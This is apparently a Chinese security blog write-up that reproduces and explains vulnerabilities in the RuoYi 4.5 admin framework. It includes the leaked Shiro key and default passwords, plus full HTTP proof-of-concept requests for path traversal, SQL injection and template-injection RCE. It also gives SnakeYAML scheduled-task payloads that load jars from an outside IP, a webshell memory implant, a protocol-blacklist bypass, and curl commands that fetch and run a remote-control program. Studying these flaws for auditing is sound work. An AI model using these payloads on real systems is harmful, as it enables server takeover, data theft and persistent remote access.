若依漏洞复现及原理解析
环境配置
因为是漏洞复现,肯定选择较低版本,历史漏洞较多
我这里选择的是4.5
项目地址:https://gitee.com/y_project/RuoYi/releases
安装完成后导入至IDEA,等待自动安装依赖
配置数据库连接
在RuoYiApplication文件中启动,即可成功访问
漏洞复现与代码审计
前台Shiro反序列化漏洞
首先我们可以确认使用了Shiro组件
抓取登录包
登录失败的返回包存在Set-Cookie: rememberMe=deleteMe
也是典型的Shiro特征
查看系统源码
使用了1.6.0版本的Shiro组件
而在Shiro1.4.2版本后,采用的加密方式由AES-CBC变成了AES-GCM
爆破密钥
找到反序列化链,成功RCE
可以看到,工具爆破出的ShiroKey为:zSyK5Kp6PZAAjlT+eeNMlg==
此时我们查看系统源码
存在默认用户
若依框架是存在两个默认用户
admin/admin123
ry/admin123
均可以成功登录后台
查看后台,存在默认用户:
路径穿越漏洞
POC:
GET /common/download/resource?resource=/profile/../../../../../../windows/win.ini HTTP/1.1
Host: 10.21.195.125
Cookie: JSESSIONID=5d4344f1-ed8e-46d8-adfb-18207f341bae
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
我们可以根据接口去定位代码
找到漏洞接口后,观察他的逻辑
首先通过GET请求接收一个resource参数
然后通过 Global.getProfile() 方法找到文件读取的根目录
String localPath = Global.getProfile();
我们跟进方法
最终在application.yml文件中找到了profile参数的值,即为系统的文件读取根目录
回到刚才的接口
进行第二步的处理:下载路径的拼接
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
这里是把刚才得到的localPath,和resource参数传入的 RESOURCE_PREFIX 之后的路径做拼接
而 RESOURCE_PREFIX 我们跟进看一下,就是/profile
至此思路清晰
我们构造的POC中,resource参数的值为/profile/../../../../../../windows/win.ini
所以最终的文件下载路径为:
C:/ruoyi/uploadPath/../../../../../../windows/win.ini
即为C:/windows/win.ini
我们继续看最下面的 FileUtils.writeBytes() 方法
FileUtils.writeBytes(downloadPath, response.getOutputStream());
跟进方法
发现除了做了一些异常处理,没有对filePath参数做任何校验,由此通过路径穿越实现任意文件读取
SQL注入漏洞
在角色管理页面
POC:
POST /system/role/list HTTP/1.1
Host: 10.21.195.125
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.21.195.125/system/role
Cookie: JSESSIONID=5d4344f1-ed8e-46d8-adfb-18207f341bae
Content-Length: 125
pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
成功利用报错注入获取数据库名
根据接口找到代码
可以看到是接收了一个SysRole的对象
我们跟进去看这个对象的属性
找到了我们用于报错注入的参数:dataScope
接下来我们要看看,这个接口用 dataScope 参数干了些什么
List<SysRole> list = roleService.selectRoleList(role);
继续跟进,找到 roleMapper 的查询语句
r是数据表sys_role的别名
此时根据我们的传入的参数,构造出最终数据库查询的语句
SELECT *
FROM sys_role
WHERE sys_role.del_flag = '0'
and extractvalue(1,concat(0x7e,(select database()),0x7e))
由于${params.dataScope} 使用了 ${} 而不是更安全的 #{},导致了SQL注入的产生
定时任务RCE
在这里可以添加定时任务
项目地址:https://github.com/artsploit/yaml-payload
git clone https://github.com/artsploit/yaml-payload
cd yaml-payload/
vim src/artsploit/AwesomeScriptEngineFactory.java
生成Jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
启动HTTP服务,部署该Jar包即可
在后台创建计划任务处写下
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://118.193.40.91:8000/yaml-payload.jar"]
]]
]')
cron表达式为
0/10 * * * * ?
即可成功RCE
反弹Shell的方式由于是Windows搭建靶场,无法演示,但写定时任务反弹Shell容易把网站打挂,不建议使用,可以写内存马
定时任务写冰蝎内存马
项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi.git
git clone https://github.com/lz2y/yaml-payload-for-ruoyi.git
cd yaml-payload-for-ruoyi/
mvn clean package
部署Jar包,写计划任务
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://118.193.40.91:8000/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]
]]
]')
0/10 * * * * ?
冰蝎成功连接
Bypass
版本 4.6.2 <= Ruoyi < 4.7.2 存在黑名单,禁止调用ldap,http,https,rmi等协议,可以利用符号方式绕过
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["h't't'p://118.193.40.91:8000/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]
]]
]')
SSTI模板注入
访问:/demo/form/localrefresh
点击刷新,抓包
POC:
POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36
taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec("calc")}
成功RCE
跟踪代码的执行
return prefix + "/localrefresh::" + fragment;
prefix: 定义了模板路径的前缀
/localrefresh: 指定要使用的模板文件名称
::fragment: 指定模板文件中要渲染的片段名称
例如在这里,prefix的值为:demo/form
渲染的模板文件则为
正常的请求:
引擎会渲染模板文件的 fragment-tasklist 片段
渲染结果:
但由于在这里,fragment参数可控且没有过滤直接返回给模板引擎引起注入漏洞,发送POC最终传给引擎解析的参数为
localrefresh::${T(java.lang.Runtime).getRuntime().exec("calc")}
引擎会把 ${T(java.lang.Runtime).getRuntime().exec("calc")} 当做表达式解析,实现RCE
不会渲染出模板片段
SSTI模板注入上线
思路:先curl下载远控程序,再命令执行启动程序上线
文件下载POC:
POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36
taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec("curl -o tcp_windows_amd64.exe http://118.193.40.91:8000/tcp_windows_amd64.exe")}
成功下载到若依系统根目录
运行文件POC:
POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36
taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec(".\tcp_windows_amd64.exe")}
成功上线
- 感谢你赐予我前进的力量